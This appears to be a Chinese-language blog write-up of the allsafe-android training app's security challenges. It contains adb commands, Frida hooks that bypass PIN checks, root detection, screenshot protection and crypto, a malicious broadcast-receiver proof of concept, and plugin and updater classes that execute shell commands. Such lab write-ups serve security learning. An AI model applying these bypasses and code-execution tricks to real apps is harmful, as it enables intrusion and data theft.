allsafe-android

本文最后更新于 2026年3月7日 晚上

https://github.com/t0thkr1s/allsafe-android

Insecure Logging

debug log可能会泄露敏感信息

1
2
adb shell 'pidof infosecadventures.allsafe'
adb shell 'logcat --pid pid | grep secret'

回车

infosecadventures.allsafe.challenges.InsecureLogging

用户输入写入日志

Hardcoded Credentials

硬编码凭证

infosecadventures.allsafe.challenges.HardcodedCredentials

1
\n            <soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n            <soap:Header>\n                 <UsernameToken xmlns=\"http://siebel.com/webservices\">superadmin</UsernameToken>\n                 <PasswordText xmlns=\"http://siebel.com/webservices\">supersecurepassword</PasswordText>\n                 <SessionType xmlns=\"http://siebel.com/webservices\">None</SessionType>\n            </soap:Header>\n            <soap:Body>\n                 <!-- data goes here -->\n            </soap:Body>\n            </soap:Envelope>\n        

body硬编码了账号密码superadmin/supersecurepassword

Firebase Database

res/values/strings.xml

找到相关配置

无校验直接能读取

https://allsafe-8cef0.firebaseio.com/.json

Insecure Shared Preferences

SharedPreferences 是1用键值对保存简单数据的一个方式

https://developer.android.com/training/data-storage/shared-preferences?hl=zh-cn#java

infosecadventures.allsafe.challenges.InsecureSharedPreferences

此处用的是Context.MODE_PRIVATE,所以其他应用无法读取

但这里是明文存储

数据会以XML文件形式存储在/data/data/<package_name>/shared_prefs (需Root

点击注册

1
cat /data/data/infosecadventures.allsafe/shared_prefs/user.xml

如果应用使用SharedPreferences存储用户信息并且是明文,则可能会造成信息泄露

SQL Injection

infosecadventures.allsafe.challenges.SQLInjection

直接拼接输入到sql语句编译运行,没有对输入进行任何处理

PIN Bypass

infosecadventures.allsafe.challenges.PinBypass

关键逻辑是checkPin方法

NDg2Mw==->4863

这种硬编码的校验存在严重风险

也可以直接hook这个方法强制返回true

1
2
3
4
5
6
7
8
9
Java.perform(function () {
var PinBypass = Java.use("infosecadventures.allsafe.challenges.PinBypass");
PinBypass["checkPin"].implementation = function (pin) {
console.log(`PinBypass.checkPin is called: pin=${pin}`);
let result = this["checkPin"](pin);
console.log(`PinBypass.checkPin result=${result}`);
return true;
};
});

这种情况可能出现在登录/注册需要额外的校验字段的情况,并且不会生成额外的一些信息的(如登录生成jwt会包含用户的相关信息),可以hook这种只校验是返回true/false的方法来绕过校验。

Root Detection

infosecadventures.allsafe.challenges.RootDetection

关键是isRooted()方法检测是否root

可以hook这个方法强制返回false来绕过root检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14

Java.perform(function () {


var RootBeer = Java.use("com.scottyab.rootbeer.RootBeer");
RootBeer["isRooted"].implementation = function () {
console.log(`RootBeer.isRooted is called`);
let result = this["isRooted"]();
console.log(`RootBeer.isRooted result=${result}`);
return false;
};


});

Secure Flag Bypass

设置了FLAG_SECURE投屏和截图都用不了

一般是在mainactivity

infosecadventures.allsafe.MainActivity

<font style="color:rgb(0, 0, 0);">getWindow().setFlags(8192, 8192);</font>

这里的 8192 就是 WindowManager.LayoutParams.FLAG_SECURE (十六进制为 0x2000)

我们需要 Hook android.view.Window 类的 setFlags 方法,并在调用原始方法之前,将 flags 参数中的 FLAG_SECURE 位清除

1
2
3
4
5
6
7
8
9
10
11
12
Java.perform(function () {
var Window = Java.use("android.view.Window");
Window.setFlags.implementation = function (flags,mask) {
// 如果发现是FLAG_SECURE,就改为0
if ((flags & 0x2000) != 0) {
flags = flags & (~0x2000); // 清除SECURE位
console.log("[*] FLAG_SECURE removed in addFlags");
}
console.log("value:" + flags)
return this.setFlags(flags,mask);
};
});

不包含 0x2000 (8192),已经能够截屏

第二种方法是用mt管理器

classes.dex编辑

1
2
Landroid/view/Window;->addFlags
Landroid/view/Window;->setFlags

然后

0x2000

一般在mainactivity

这两行改为nop即可,编译并重新签名

重新安装就可以截图了

infosecadventures.allsafe.challenges.DeepLinkTask

deeplink获取一个key参数并且校验

res/values/strings.xml

<string name="key">ebfb7ff0-b2f6-41c8-bef3-4fba17be410c</string>

查看AndroidManifest.xml

1
adb shell am start -a android.intent.action.VIEW -d "allsafe://infosecadventures/congrats?key=ebfb7ff0-b2f6-41c8-bef3-4fba17be410c" infosecadventures.allsafe/.challenges.DeepLinkTask

Insecure Broadcast Receiver

infosecadventures.allsafe.challenges.InsecureBroadcastReceiver

代码使用 PackageManager.queryBroadcastReceivers(intent, 0) 查询当前设备上所有能响应这个 Action 的广播接收器。

问题所在:它没有限制包名。这意味着它不仅会找到应用内部定义的接收器,还会找到任何其他已安装应用中注册的、监听相同 Action 的接收器。

这导致用户输入的敏感数据(note)和内部配置(server)被发送给了所有匹配该 Action 的接收器,包括恶意应用

AndroidManifest.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools">

<application
android:allowBackup="true"
android:dataExtractionRules="@xml/data_extraction_rules"
android:fullBackupContent="@xml/backup_rules"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/Theme.Exp"
tools:targetApi="31">
<activity
android:name=".MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />

<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<receiver
android:name=".MaliciousReceiver"
android:enabled="true"
android:exported="true">
<intent-filter android:priority="999">
<action android:name="infosecadventures.allsafe.action.PROCESS_NOTE" />
</intent-filter>
</receiver>
</application>

</manifest>

MaliciousReceiver.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.example.exp;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
import android.widget.Toast;

public class MaliciousReceiver extends BroadcastReceiver {
private static final String TAG = "ALLSAFE_EXPLOIT";

@Override
public void onReceive(Context context, Intent intent) {
// 捕获目标 Action
if ("infosecadventures.allsafe.action.PROCESS_NOTE".equals(intent.getAction())) {

// 提取被泄露的敏感数据
String server = intent.getStringExtra("server");
String note = intent.getStringExtra("note");
String msg = intent.getStringExtra("notification_message");

// 1. 在 Logcat 中打印(隐蔽取证)
Log.d(TAG, "!!! 截获敏感数据 !!!");
Log.d(TAG, "目标服务器: " + server);
Log.d(TAG, "用户笔记内容: " + note);

// 2. 弹窗显示(视觉证明 POC)
Toast.makeText(context, "Hacked! Note: " + note, Toast.LENGTH_LONG).show();
}
}
}

Vulnerable WebView

infosecadventures.allsafe.challenges.VulnerableWebView

允许执行js、允许文件读取、允许url加载导致了 XSS 漏洞和 SSRF 漏洞的产生

<script>alert(1)</script>

certificate Pinning

Weak Cryptography

infosecadventures.allsafe.challenges.WeakCryptography

硬编码key,但最后return为string导致数据损坏

hook encrypt方法转为base64就行

https://codeshare.frida.re/@fadeevab/intercept-android-apk-crypto-operations/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
function bin2ascii(array) {
var result = [];

for (var i = 0; i < array.length; ++i) {
result.push(String.fromCharCode( // hex2ascii part
parseInt(
('0' + (array[i] & 0xFF).toString(16)).slice(-2), // binary2hex part
16
)
));
}
return result.join('');
}

function bin2hex(array, length) {
var result = "";

length = length || array.length;

for (var i = 0; i < length; ++i) {
result += ('0' + (array[i] & 0xFF).toString(16)).slice(-2);
}
return result;
}

Java.perform(function() {
Java.use('javax.crypto.spec.SecretKeySpec').$init.overload('[B', 'java.lang.String').implementation = function(key, spec) {
console.log("KEY: " + bin2hex(key) + " | " + bin2ascii(key));
return this.$init(key, spec);
};

Java.use('javax.crypto.Cipher')['getInstance'].overload('java.lang.String').implementation = function(spec) {
console.log("CIPHER: " + spec);
return this.getInstance(spec);
};

Java.use('javax.crypto.Cipher')['doFinal'].overload('[B').implementation = function(data) {
console.log("Gotcha!");
console.log(bin2ascii(data));
return this.doFinal(data);
};
});

漏洞点 说明
硬编码密钥 KEY = "1nf053c4dv3n7ur3"
ECB 模式 使用了 AES/ECB/PKCS5PADDING。ECB 模式不使用 IV,同样的明文块会产生同样的密文块,容易受到重放攻击和模式分析。
弱哈希算法 使用了 MD5,这在现代安全标准下已被认为是不安全的,易受碰撞攻击。
不安全的随机数 java.util.Random是伪随机数生成器(PRNG),其输出是可预测的。在安全场景下应使用 SecureRandom

Insecure Service

Service 属于 Android 核心组件,专为处理无需界面介入的持久性后台任务而设计。尽管其常用于执行长时耗操作,但需明确:Service 并不具备独立进程,它完全依附于启动它的宿主应用进程。同时,它不具备自动异步处理能力,其内部逻辑默认直接在 UI 线程(主线程)中触发。因此,若在 Service 中执行密集型运算或网络请求,开发者必须手动创建子线程以防阻塞界面。

infosecadventures.allsafe.challenges.InsecureService

请求了录音和存储权限并启动一个后台服务infosecadventures.allsafe.challenges.RecorderService

点击启动需要手动点击授权

这个服务可以直接启动,绕过手动授权录音

1
adb shell am startservice infosecadventures.allsafe/.challenges.RecorderService

Object Serialization

infosecadventures.allsafe.challenges.ObjectSerialization

输入序列化写入文件

默认role是ROLE_AUTHOR

可以hook 获取path

1
2
3
4
5
6
7
8
9
10
11
12
Java.perform(function () {


var ObjectSerialization = Java.use("infosecadventures.allsafe.challenges.ObjectSerialization");
ObjectSerialization["lambda$onCreateView$0"].implementation = function (username, password, path, v) {
console.log(`ObjectSerialization.lambda$onCreateView$0 is called: username=${username}, password=${password}, path=${path}, v=${v}`);
this["lambda$onCreateView$0"](username, password, path, v);
};


});

/storage/emulated/0/Android/data/infosecadventures.allsafe/files/user.dat

直接用mt管理器改role

Insecure Providers

Android 四大组件之中的 Content Provider

infosecadventures.allsafe.challenges.DataProvider

在 onCreate 中,它定义了一个访问路径:content://infosecadventures.allsafe.dataprovider/note

实现了crud,增删改查,并且可以直接调用

<font style="color:rgb(36, 41, 46);background-color:rgb(246, 248, 250);">adb shell content query --uri </font><font style="color:rgb(3, 47, 98);">"content://infosecadventures.allsafe.dataprovider"</font>

fileprovider不能直接调用

但是infosecadventures.allsafe.ProxyActivity

可以调用fileprovider

路径是<font style="color:rgb(36, 36, 36);background-color:rgb(242, 242, 242);">/data/data/infosecadventures.allsafe/files/</font>

https://github.com/solimanalmansor/AllSafe-Challenges-PoC/blob/main/InfoStealer.zip

Arbitrary Code Execution

infosecadventures.allsafe.ArbitraryCodeExecution

  • 插件系统劫持 (invokePlugins 方法)。代码会遍历手机上安装的所有应用,只要包名以 infosecadventures.allsafe 开头,它就会尝试加载该应用中的类,并以主应用的权限执行恶意 App 中 Loader.loadPlugin() 方法里的任何代码
  • 不安全的更新程序 (invokeUpdate 方法)。在本地文件系统找一个名为 allsafe_updater.apk 的文件,并使用 DexClassLoader 加载它。构造同名的恶意 APK,主应用启动时就会执行其中的代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package infosecadventures.allsafe.updater;

import android.os.Bundle;
import android.util.Log;

import androidx.annotation.Nullable;
import androidx.appcompat.app.AppCompatActivity;

public class VersionCheck extends AppCompatActivity {
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
}

public static void getLatestVersion(){
Log.d("command_exec_result", "=========================================");
try{
Log.d("command_exec_result", new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next());
}catch (Exception e){
e.printStackTrace();
}
}

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package infosecadventures.allsafe.plugin;

import android.util.Log;
import java.util.Scanner;

public class Loader {
// 必须是 public static void
public static void loadPlugin() {
executeIdCommand("Plugin Exploit");
}

private static void executeIdCommand(String label) {
Log.d("command_exec_result", "=== " + label + " ===");
try {
String result = new Scanner(Runtime.getRuntime().exec("id").getInputStream())
.useDelimiter("\\A").next();
Log.d("command_exec_result", result);
} catch (Exception e) {
Log.e("command_exec_result", "Error: " + e.getMessage());
}
}
}

打包成apk并安装

Native Library

infosecadventures.allsafe.challenges.NativeLibrary

加载本地so

反编译

<font style="color:rgb(36, 36, 36);background-color:rgb(242, 242, 242);">supersecret</font>

Smali Patching

infosecadventures.allsafe.challenges.SmaliPatch

用mt管理器改smali

lambda$onCreateView$0

找到SmaliPatch

定位到if-eqz

改为if-nez v0, :cond_22

if-eqz (if equal zero) 意思是“如果结果为假则跳转”。改为 if-nez (if not equal zero)if逻辑就相反了变成if not

重新编译、签名安装


allsafe-android
http://example.com/2026/03/07/allsafe-android/
作者
J_0k3r
发布于
2026年3月7日
许可协议
BY J_0K3R